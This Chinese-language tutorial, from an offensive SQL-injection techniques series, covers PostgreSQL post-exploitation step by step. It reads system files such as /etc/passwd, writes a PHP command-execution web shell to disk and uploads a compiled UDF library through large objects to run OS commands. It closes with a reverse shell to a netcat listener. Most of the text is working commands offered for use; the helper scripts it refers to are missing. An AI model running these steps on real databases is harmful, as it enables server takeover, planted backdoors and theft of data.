1. 程式人生 > >【SQL注入技巧拓展】————10、postgresql資料庫利用方式

【SQL注入技巧拓展】————10、postgresql資料庫利用方式

PostgreSQL 是一個自由的物件-關係資料庫伺服器(資料庫管理系統),本文對於postgresql的使用及利用做個總結備份。

測試系統:kali

基本使用

在root許可權下修改資料庫密碼:

service postgresql start #啟動服務

su postgres #切換到資料庫使用者下

psql  postgres #進入資料庫

alter user postgres with password 'postgres';  #修改資料庫的密碼為:postgres

在其他使用者許可權下,使用帳號密碼登入系統:

psql -h 127.0.0.1 -U postgres -W

進入資料庫檢視幫助資訊:

help

\h

\?

檢視資料中的資訊

  • 列出資料庫

\l

列出資料庫的使用者

\du

使用資料庫獲取系統資訊

  • 列出系統目錄列表:

select pg_ls_dir('/etc');

讀取系統檔案:

select pg_read_file('postgresql.auto.conf', 0, 200);

drop table pwn;

CREATE TABLE pwn(t TEXT);

COPY pwn FROM '/etc/passwd';

SELECT * FROM pwn limit 1 offset 0;

DROP table pwn;

寫檔案

DROP TABLE pwn;

CREATE TABLE pwn (t TEXT);

INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');

SELECT * FROM pwn;

COPY pwn(t) TO '/tmp/cmd.php';

DROP TABLE pwn;

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

使用資料庫執行系統命令

執行系統命令需要用到udf庫,下面測試一下

獲取原始碼:

git clone https://github.com/sqlmapproject/udfhack/

編譯原始碼(資料庫版本:9.6)

cd udfhack/linux/64/lib_postgresqludf_sys

apt-get install postgresql-server-dev-9.6

gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so

strip -sx udf64.so

上傳獲取到的udf64.so上傳到伺服器

將udf64.so轉為hex,我自己寫了一個轉換小指令碼,如下:

將以上程式碼儲存為bin2hex.py,然後使用如下命令轉換:

python bin2hex.py udf64.so

上傳,將上面得到的hex值傳入下面的語句中執行:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));

直接將所有內容全部寫入會報錯,如下:

實際上,閱讀官方文件可知,寫的檔案每一頁不能超過 2KB,所以我們要把資料分段,稍微修改一下程式碼,如下:

這樣分成多個段進行寫入,就可以成功寫入,使用如下命令:

SELECT lo_create(11111);

INSERT INTO pg_largeobject VALUES (11111, 0, decode('7f454c4...0000', 'hex'));

INSERT INTO pg_largeobject VALUES (11111, 1, decode('0000000...0000', 'hex'));

INSERT INTO pg_largeobject VALUES (11111, 2, decode('f604000...0000', 'hex'));

INSERT INTO pg_largeobject VALUES (11111, 3, decode('0000000...7400', 'hex'));

.....

SELECT lo_export(11111, '/tmp/test.so');

SELECT lo_unlink(11111);

建立Postgresql功能

CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

使用sys_exec執行命令:

SELECT sys_exec('id'); #無回顯

SELECT sys_eval('id'); #有回顯

反彈shell

這個跟udf的那個類似,唯一的不同就是使用的庫不同,使用如下程式碼:

編譯程式碼:

gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so

strip -sx nc.so

建立功能:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS  '/tmp/nc.so', 'exec' LANGUAGE C STRICT;

在kali上監聽4444埠:

nc -vv -l -p 4444

執行功能:

SELECT exec();

結果如圖:

總結

本文主要講述了關於postgresql資料庫的使用以及在得到一個數據庫許可權之後,利用這個資料庫可以做什麼,怎麼做進行了測試,在這裡給大家做個參考,歡迎大家留言討論。